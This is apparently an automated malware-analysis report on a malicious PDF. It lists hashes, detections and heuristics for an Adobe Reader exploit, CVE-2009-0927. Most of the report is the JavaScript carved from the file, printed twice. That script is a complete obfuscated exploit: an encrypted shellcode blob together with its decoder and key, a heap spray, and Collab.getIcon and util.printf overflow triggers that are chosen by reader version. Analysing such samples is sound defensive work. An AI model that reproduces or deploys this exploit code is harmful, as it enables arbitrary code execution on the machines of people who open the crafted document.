Malicious PDF — malware analysis report

Static analysis result for SHA-256 0e11e0c3dba0f39b…

MALICIOUS

PDF

201.3 KB Created: 2009-03-11 15:56:53 +08:00 Authoring application: PDFCreator Version 0.9.3 (via AFPL Ghostscript 8.54) First seen: 2013-08-24
MD5: 12ca3cb6091cf503b474c1496e1041e4 SHA-1: 89fdc524c7c69725f2642ef4826a0d1624e16038 SHA-256: 0e11e0c3dba0f39b388a4858e63c7105d9d8187857fc65ab0420660015de25ec
356 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that exploits CVE-2009-0927 (Collab.getIcon). The JavaScript is obfuscated using `unescape()` and `String.fromCharCode()`, common techniques for hiding malicious code. The primary function of the script appears to be executing arbitrary code, as indicated by the exploit cluster firing and ClamAV detection. The script likely downloads and executes a second-stage payload, although the specific URL or payload is not directly observable in the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9696

Heuristics 7

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • ClamAV: Pdf.Exploit.Agent-35646 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35646
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    tmpcode = func4(func1(varsets),sets1);
var retstr = unescape(tmpcode);
return retstr;
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/iX/1.0/ In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xF 55 bytes
SHA-256: 31891b256fb2c725efed8b2bbf38a5e15a3a35b583d76d8b3fb5ee6c8b85f769
Preview script
First 1,000 lines of the extracted script
this.print({bUI:true,bSilent:false,bShrinkToFit:true});
javascript_obj0055_001.js pdf-javascript-stream PDF /JS object 55 at offset 0x3120E 6266 bytes
SHA-256: 2fad1f5cb3aa3aabb644f595f2b2f678aa6f58d13bf2a6c493aeaa380ed91ab2
Detection
ClamAV: Pdf.Exploit.Agent-35646
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 49 of 88 identifiers look randomly generated (e.g. 'IVN3vTL8BRWWDrmcFkYHdwkGnYEy48ZHSDi5Fan3') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
sets1="g^2~!4s5Q@=3";
sets2 = "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";
var sets3=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);
function func1(str)
{
var c1,c2,c3,c4;
var i,len,out;
len=str.length;
i=0;
out = "";
while(i<len)
{
do
{
c1=sets3[str.charCodeAt(i++)&0xff];
}while(i<len&&c1==-1);
if(c1==-1)
break;
do
{
c2=sets3[str.charCodeAt(i++)&0xff];
}while(i<len&&c2==-1);
if(c2==-1)
break;
out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));
do
{
c3=str.charCodeAt(i++)&0xff;
if(c3==61)
return out;
c3=sets3[c3];
}while(i<len&&c3==-1);
if(c3==-1)
break;
out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));
do
{
c4=str.charCodeAt(i++)&0xff;
if(c4==61)
return out;
c4=sets3[c4];
}while(i<len&&c4==-1);
if(c4==-1)
break;
out+=String.fromCharCode(((c3&0x03)<<6)|c4);
}
return out;
}
function func2(str)
{
var ar = new Array();
var len = Math.ceil(str.length / 4);
for (var i=0; i<len; i++)
{
ar[i] = str.charCodeAt(i << 2) + (str.charCodeAt((i << 2) + 1) << 8) +(str.charCodeAt((i << 2) + 2) << 16) + (str.charCodeAt((i << 2) + 3) << 24);
}
return ar;
}
function func3(ar)
{
var len = ar.length;
for (var i=0; i<len; i++)
{
ar[i] = String.fromCharCode(ar[i] & 0xff, ar[i] >>> 8 & 0xff,
ar[i] >>> 16 & 0xff, ar[i] >>> 24 & 0xff);
}
return ar.join('');
}
function func4(str1, str2)
{
var v = func2(str1);
var k = func2(str2.slice(0,16));
var n = v.length;
if (n == 0)
{
return "";
}
var z = v[n - 1], y = v[0], e;
var delta = 0x9E3779B9;
var q = Math.floor((6 + 52 / n));
var sum = q * delta;
while (sum != 0)
{
e = sum >>> 2 & 3;
for (var p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= (z >>> 5 ^ y << 2) + (y >>> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z);
}
z = v[n - 1];
y = v[0] -= (z >>> 5 ^ y << 2) + (y >>> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z);
sum -= delta;
}
return func3(v);
}
function func8(ssi, sssize)
{
while (ssi.length*2<sssize) ssi += ssi;
ssi = ssi.substring(0,sssize/2);
return ssi;
}
function func5(varsets)
{
tmpcode = func4(func1(varsets),sets1);
var retstr = unescape(tmpcode);
return retstr;
}
function func6() {
runcode =func5(sets2);
nopblock = func5("4irRzDh1z2JRIuqy");
garbage = func8(nopblock,36);
garbage+=runcode;
headersize = 10;
acl = headersize+garbage.length;
while (nopblock.length<acl) nopblock+=nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
oneblock = func5("GHzg59zzQX0lz+xb");
for (i=0; i<buffersize; i++)
{buffer[i] = oneblock;}
Collab.getIcon(buffer+'_N.bundle');
}
function func7() {
runcode =func5(sets2);
var bigblock = func5("AZavsVTFI6KdClHr");
var headersize = 20;
var slackspace = headersize + runcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x60000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 700; i++){ memory[i] = block + runcode }
var n = func5("S6w4aUDGKABpYYMMoIzeMzWytpAKhnOAFIxJu6yPRxNX498MGj3AhvS5FoEaTIHVcNMVHObTe1zD829b");
if((app.viewerVersion>=7)&&(app.viewerVersion<8))
{
for(i=0;i<276;i++)
{
n+=unescape("%38");
}
util.printf(func5("bUM9mFcnIaie3Z29FqwNkcvxqdj6lIe8"), n);
}
else if((app.viewerVersion>=6)&&(app.viewerVersion<7))
{
for(i=0;i<300;i++)
{
n+=unescape("%38");
}
util.printf(func5("bUM9mFcnIaie3Z29FqwNkcvxqdj6lIe8"), n);
}
}
function func0() {
if(((app.viewerVersion>=8)&&(app.viewerVersion<8.103))||(app.viewerVersion==9))
{
func6();
}
else if((app.viewerVersion>=6)&&(app.viewerVersion<8)){
func7();}
}
func0();
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0xF 6322 bytes
SHA-256: 76be403f41b249e1315213431daf5cdac970d67fb048af9fea7474008e52d987
Detection
ClamAV: Pdf.Exploit.Agent-35646
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). 50 of 90 identifiers look randomly generated (e.g. 'IVN3vTL8BRWWDrmcFkYHdwkGnYEy48ZHSDi5Fan3') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
this.print({bUI:true,bSilent:false,bShrinkToFit:true});
sets1="g^2~!4s5Q@=3";
sets2 = "28YfdgSH3bBRLUCx5VwEjMuqZli6bCdkA4kCDKS8abQ/B+AcoIGr7XYTlNQXHrFFi8mRs+IVN3vTL8BRWWDrmcFkYHdwkGnYEy48ZHSDi5Fan33HzMRiWd83zJ7xr3dqI9fW9CFAFav0hPBxUoL4FcCucSetjgObJYO8mypPYPqmM73mPhJReBJzXyGrC2kEN8tRdl27MjGIyf9dJm6Kd5Ek6KDuCu/i1KZPjxACRRc0YOuLUhb+4Giy1Pm+gGYVJGDgcMwmQOQx3ww7uK8NKbzTgoHLMtzN/MB9/LwC4xTw6iEqvakxmYWDS6K+/FjdoYMjB6HplwX5GWD51J+qP1hxk2HPW00Z/swLdJGPzrYp9K5+JcQV4zrX6kBHk3kqpwarmkSHzg4XCOSmwfUIYQYZCdsqJVSqP7so8OZyI27oXL0/LC6SPJXNFL6kJvgX0XIpudZUb5zklZNQSP5/suCjWWd68KKB3elzXWpJqeZBoIPC+4tGWOZymTr4MNLtCRzZl5ZuObT+d7kvhK9+4h9O9hEDukDZRLZr2tb6+D8BoUHRFCZiXxxU7pGjqK4cVTq0/j0K7zECkjxi5UigN25q4zvFmKHGOtLMOuIIqDgMShlCsBRXUhm4HvqOy9/nwDrWqT8KW6LvLGJCWpmxeIGxhc9zyb55oqF1V0SAawGErJoWUY7ykkDtScupD27ZYJa8qe8vQrz6Ef5D5fgNg94I+NPyrcJZt53zIWmaDYnuQA8iHQkmWDKUWqNtGSRuB7QgZFWmBw6TURohO9MI7DY0SFeJxIa5PqBrlmcl2ewBl7wxYkL1iyfuk/naJlhma7ZHCpIIJocFDrkJfazUPW8vBv7AFcDanKBrHQ0VQ3DJxyGtVIuPwGTY6EzXRhu4kQr4MBb72Nfu/v0J+hV7B/3elH56HVLzKa4BGcheUEPVl/HRAHhA35zHjyiEguifNkvjPggILAQ2BV1JioTEBorCyuvwqW9Qg5bPH7uou3cxnEMLVtaRAAopgxQu6hf1MnQkGmLgiD5MwAdBIXLWiHFvURPQcgSa9iJgreESqOd+EzxlXxauSit51gJkcF51ftgSOCI4TDCiSdVYA1S1+LRBBkE3Am3+TYPjJEcA4PEM1s9dlIdS9EFmNHpDYj8ksLJJVBumF/bt0oibDRU8Y3zSulvA/sY+srduicAVeiW+unGGR2FjInyjyp0x4zkOznzfJPiMNuxzEmGF4yCkhybUWru6jP8e0zvuavUOvTb0r0JHAYjAZr7GXuzE+efI6zeSDm50C6sKOM3hsxUppufa6rW/p7rEHfj4DdXihatonoQd6YvFk03znYjsp96Hy3WsbT/V5CW7nZDRtIAkm6F13MS1kyEBJj304O/K46PuzBJKu0TEA71TL/0RcKKZPqsL95ncYmgj8N6AOGTRx1m+qNqZ1HZ+yRx6mLU6td2dsgL3el/YpSCcPzvZGWMmIlaNAyRFhQ7KL44/sekmDG3AEctK4pcvTaLezO6BZmOwgMoDnQn1OFeDhpZOpXteS0OjUAqVRs5dnPsXlkRH9Iq2m43O0puov+Sq1zhsLNzpA5WNsrXqBYU6JINc8xAarnXzK/eE5fLIDOjJT9EaNwawB6SRmEe9aLXj2cF5vA/smHvEsRjUToNA89wUNET8vdbVG6idkBONcl0FTC9u0HXj2VH9o44HHTCJVTBFNbO6eiCjvB5wbQgqCdmDSdLou4IP91OFJxgZ1aFBQa35ZcdDlL9StRF+Cyn6+GAf6H6tS1jTBuWzUSUzyDFzwpW02LjbFYpO7LSNIqmgnMY0DY8CeUzK7Jx2Fk0d6q5MUqMsWpcAorIjrl8veuSpJ/iRpPSviMUpw5z7xOcl4gg4oNW74fbuejBk6dwFt/hbazy3rZNV431d4oY0wNJvcwshkgY9z5c+IhWX8eMzpIc8JKi6MRs4kJCkEjFtGZPvovQ1Yc9Hz1DnEaK5qzHUSlEzRNBbNrQWYGSuLs+DlioBzMUtOBpXTJEZDnCOQBuN0bqsMLBiFmmLtcJKDRiIPvrZUDdbOttXh/H0IobWbwrjPHedFLJvm82BrkoS4XbdzwowUhi/+nitG0zGRA+b4difd9OaGvJ6hR/EZgWYZyvKJ9149XTDjTpXEInBuC2/8CcbjnLpapLXXfw3Qt4whm+iRjbgmA1I0x2JN2aR34LjZRXcDiU=";
var sets3=new Array(-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,62,-1,-1,-1,63,52,53,54,55,56,57,58,59,60,61,-1,-1,-1,-1,-1,-1,-1,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,-1,-1,-1,-1,-1,-1,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,-1,-1,-1,-1,-1);
function func1(str)
{
var c1,c2,c3,c4;
var i,len,out;
len=str.length;
i=0;
out = "";
while(i<len)
{
do
{
c1=sets3[str.charCodeAt(i++)&0xff];
}while(i<len&&c1==-1);
if(c1==-1)
break;
do
{
c2=sets3[str.charCodeAt(i++)&0xff];
}while(i<len&&c2==-1);
if(c2==-1)
break;
out+=String.fromCharCode((c1<<2)|((c2&0x30)>>4));
do
{
c3=str.charCodeAt(i++)&0xff;
if(c3==61)
return out;
c3=sets3[c3];
}while(i<len&&c3==-1);
if(c3==-1)
break;
out+=String.fromCharCode(((c2&0XF)<<4)|((c3&0x3C)>>2));
do
{
c4=str.charCodeAt(i++)&0xff;
if(c4==61)
return out;
c4=sets3[c4];
}while(i<len&&c4==-1);
if(c4==-1)
break;
out+=String.fromCharCode(((c3&0x03)<<6)|c4);
}
return out;
}
function func2(str)
{
var ar = new Array();
var len = Math.ceil(str.length / 4);
for (var i=0; i<len; i++)
{
ar[i] = str.charCodeAt(i << 2) + (str.charCodeAt((i << 2) + 1) << 8) +(str.charCodeAt((i << 2) + 2) << 16) + (str.charCodeAt((i << 2) + 3) << 24);
}
return ar;
}
function func3(ar)
{
var len = ar.length;
for (var i=0; i<len; i++)
{
ar[i] = String.fromCharCode(ar[i] & 0xff, ar[i] >>> 8 & 0xff,
ar[i] >>> 16 & 0xff, ar[i] >>> 24 & 0xff);
}
return ar.join('');
}
function func4(str1, str2)
{
var v = func2(str1);
var k = func2(str2.slice(0,16));
var n = v.length;
if (n == 0)
{
return "";
}
var z = v[n - 1], y = v[0], e;
var delta = 0x9E3779B9;
var q = Math.floor((6 + 52 / n));
var sum = q * delta;
while (sum != 0)
{
e = sum >>> 2 & 3;
for (var p = n - 1; p > 0; p--)
{
z = v[p - 1];
y = v[p] -= (z >>> 5 ^ y << 2) + (y >>> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z);
}
z = v[n - 1];
y = v[0] -= (z >>> 5 ^ y << 2) + (y >>> 3 ^ z << 4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z);
sum -= delta;
}
return func3(v);
}
function func8(ssi, sssize)
{
while (ssi.length*2<sssize) ssi += ssi;
ssi = ssi.substring(0,sssize/2);
return ssi;
}
function func5(varsets)
{
tmpcode = func4(func1(varsets),sets1);
var retstr = unescape(tmpcode);
return retstr;
}
function func6() {
runcode =func5(sets2);
nopblock = func5("4irRzDh1z2JRIuqy");
garbage = func8(nopblock,36);
garbage+=runcode;
headersize = 10;
acl = headersize+garbage.length;
while (nopblock.length<acl) nopblock+=nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
oneblock = func5("GHzg59zzQX0lz+xb");
for (i=0; i<buffersize; i++)
{buffer[i] = oneblock;}
Collab.getIcon(buffer+'_N.bundle');
}
function func7() {
runcode =func5(sets2);
var bigblock = func5("AZavsVTFI6KdClHr");
var headersize = 20;
var slackspace = headersize + runcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x60000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 700; i++){ memory[i] = block + runcode }
var n = func5("S6w4aUDGKABpYYMMoIzeMzWytpAKhnOAFIxJu6yPRxNX498MGj3AhvS5FoEaTIHVcNMVHObTe1zD829b");
if((app.viewerVersion>=7)&&(app.viewerVersion<8))
{
for(i=0;i<276;i++)
{
n+=unescape("%38");
}
util.printf(func5("bUM9mFcnIaie3Z29FqwNkcvxqdj6lIe8"), n);
}
else if((app.viewerVersion>=6)&&(app.viewerVersion<7))
{
for(i=0;i<300;i++)
{
n+=unescape("%38");
}
util.printf(func5("bUM9mFcnIaie3Z29FqwNkcvxqdj6lIe8"), n);
}
}
function func0() {
if(((app.viewerVersion>=8)&&(app.viewerVersion<8.103))||(app.viewerVersion==9))
{
func6();
}
else if((app.viewerVersion>=6)&&(app.viewerVersion<8)){
func7();}
}
func0();
font_00_sfnt_off00005ee1.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x5EE1 84540 bytes
SHA-256: 51f1bd9423cd723c587f4887ef911151884a1423f8e3bf9ae43ee102ccdfcea7

Open this report in the interactive analyzer, or submit your own file for analysis.